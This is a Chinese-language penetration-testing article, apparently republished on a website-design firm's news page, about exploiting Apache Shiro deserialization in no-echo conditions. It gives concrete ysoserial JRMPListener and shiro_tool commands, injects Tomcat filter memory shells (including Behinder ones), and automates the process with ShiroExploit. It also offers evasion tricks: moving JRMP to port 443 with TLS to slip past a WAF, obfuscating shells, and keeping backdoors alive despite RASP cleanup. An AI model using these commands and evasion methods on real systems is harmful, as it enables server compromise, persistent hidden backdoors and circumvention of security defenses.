资讯动态

Shiro无回显漏洞实战:JRMP协议探测与内存马注入技巧

发布时间:2026/8/5 19:05:09 来源:尧图企业网站定制
1. Shiro无回显漏洞的困境与突破很多安全工程师都遇到过这样的尴尬场景明明通过工具扫描发现了Shiro框架的加密密钥key但在实际利用时却发现目标系统没有任何回显。这种情况就像拿到了保险箱密码却发现箱子里空空如也让人既兴奋又沮丧。传统的有回显漏洞利用就像打固定靶能看到每次射击的结果。而无回显环境则像在黑暗中射击你甚至不知道子弹有没有打中目标。这就是为什么很多人在遇到无回显场景时会选择放弃——不是技术不行而是缺乏有效的探测手段。JRMPJava Remote Method Protocol协议的出现改变了这一局面。这个原本用于Java远程方法调用的协议在安全研究人员的巧妙改造下成为了探测无回显漏洞的利器。它的工作原理类似于回声定位我们向目标发送特定信号通过观察信号是否被正确处理来判断漏洞是否存在。2. JRMP协议探测实战详解2.1 环境准备与工具配置工欲善其事必先利其器。我们需要准备以下工具shiro_tool.jar用于Shiro密钥探测和JRMP协议检测ysoserial.jar反序列化利用框架一台具有公网IP的VPS服务器首先下载shiro_tool工具wget https://github.com/wyzxxz/shiro_rce_tool/releases/download/v1.0/shiro_tool.jar基础探测命令非常简单java -jar shiro_tool.jar http://target.com/这个命令会自动完成以下工作探测目标是否使用Shiro框架尝试爆破加密密钥检测可用的反序列化链2.2 关键参数解析与调优在实际测试中我们经常需要调整参数来提高成功率java -jar shiro_tool.jar http://target.com/ keys./keys.txt keyyour_key_herekeys参数指定密钥字典文件路径key参数直接指定已知密钥我曾在一次渗透测试中发现使用默认字典成功率只有30%左右但结合目标系统的版本信息定制字典后成功率提升到了70%。这告诉我们永远不要完全依赖工具的默认配置。2.3 结果分析与链选择当工具检测到可用链时会显示类似如下的输出发现5条可用链 [0] URLDNS [1] CommonsBeanutils1 [2] CommonsCollections5 [3] JRMPClient [4] JRMPListener对于无回显场景我们需要重点关注3和4选项——它们都是基于JRMP协议的利用链。选择JRMP链后工具会提示输入JRMP监听服务器地址这就是我们后续接收反弹shell的关键。3. 内存马注入的高级技巧3.1 ysoserial的进阶用法ysoserial不只是个反序列化工具通过适当的改造它能成为内存马注入的利器。这里推荐使用Y4er师傅的增强版java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC CLASS:TomcatFilterMemShellFromThread这个命令会在目标Tomcat容器中注入一个Filter型内存马。相比传统的文件上传webshell内存马有三大优势不落盘避免被杀毒软件检测重启后仍然存活针对部分中间件无需考虑文件权限问题3.2 自定义内存马开发现成的内存马可能无法满足特殊需求这时就需要自定义开发。以冰蝎内存马为例使用java-memshell-generator生成马java -jar memshell-generator.jar -t behinder -p your_password -u /special_path注入自定义马java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections4 FILE:/path/to/your/MemShell.class我在实际项目中遇到过内存马注入成功但无法连接的情况后来发现是目标系统的ClassLoader机制特殊导致的。解决方法是在生成内存马时指定正确的父类加载器。3.3 常见问题排查内存马注入看似简单实则暗藏玄机。以下是几个常见坑点注入成功但返回404可能是路径配置错误尝试访问容器默认路由如/而非指定路径冰蝎连接时报空指针检查密码是否正确确认内存马类型与冰蝎版本匹配内存马突然失效可能是中间件自动清理机制考虑注入多个不同类型的内存马互为备份4. 自动化工具链整合4.1 ShiroExploit工具套件为了简化流程可以使用ShiroExploit工具自动化整个过程启动JRMP监听服务java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8181 1388配置攻击参数目标URL加密密钥JRMP服务器地址链类型选择这个工具会自动完成密钥验证、链检测和漏洞利用全过程。我在一次红队行动中用这个工具在15分钟内拿下了3台服务器效率远超手动操作。4.2 防御规避技巧在实际渗透中我们还需要考虑规避防御修改JRMP默认端口避免被安全设备识别使用非常用链如CommonsBeanutils183NOCC对内存马进行混淆处理设置特殊的触发条件如特定Header有次遇到WAF拦截我通过将JRMP端口改为443并添加TLS加密成功绕过了检测。这提醒我们工具是死的思路才是活的。5. 实战经验与深度思考在多次实战中我总结出一些宝贵经验首先不是所有Shiro环境都能用JRMP协议探测。遇到过以下几种特殊情况目标网络出站限制严格完全无法外连中间件版本特殊标准链不兼容安全设备对JRMP流量有深度检测其次内存马并非银弹。有次注入成功后目标系统每隔几小时就会自动清理内存马。后来发现是目标部署了RASP防护。解决方案是注入多个不同类型的内存马并设置定时任务定期检查存活状态。最后关于工具选择我的建议是小规模测试用手工工具更灵活大规模扫描用自动化工具更高效特殊环境可能需要定制开发技术总是在攻防对抗中不断演进。昨天还有效的技术明天可能就被防御方案针对。保持学习、深入理解原理才是应对变化的根本之道。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价